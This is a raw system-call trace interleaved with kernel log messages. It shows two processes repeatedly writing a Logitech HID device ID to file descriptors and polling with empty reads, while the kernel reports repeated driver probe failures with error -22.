[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.036687][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.069713][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.092530][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.097092][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.101260][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.113520][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.148035][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.170195][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.193182][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.205325][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.219035][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.230883][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.244052][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.289280][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.333064][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.355315][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.367503][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.411661][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.443602][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.447686][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.481338][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.514038][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 76.520760][ T1378] ieee802154 phy0 wpan0: encryption failed: -22
[ 76.522835][ T1378] ieee802154 phy1 wpan1: encryption failed: -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.526731][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.550954][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.572042][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.603986][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.625111][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.656644][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.678163][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[ 76.690310][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 76.720770][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.742408][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.763914][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.777087][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 76.799720][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 76.821543][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
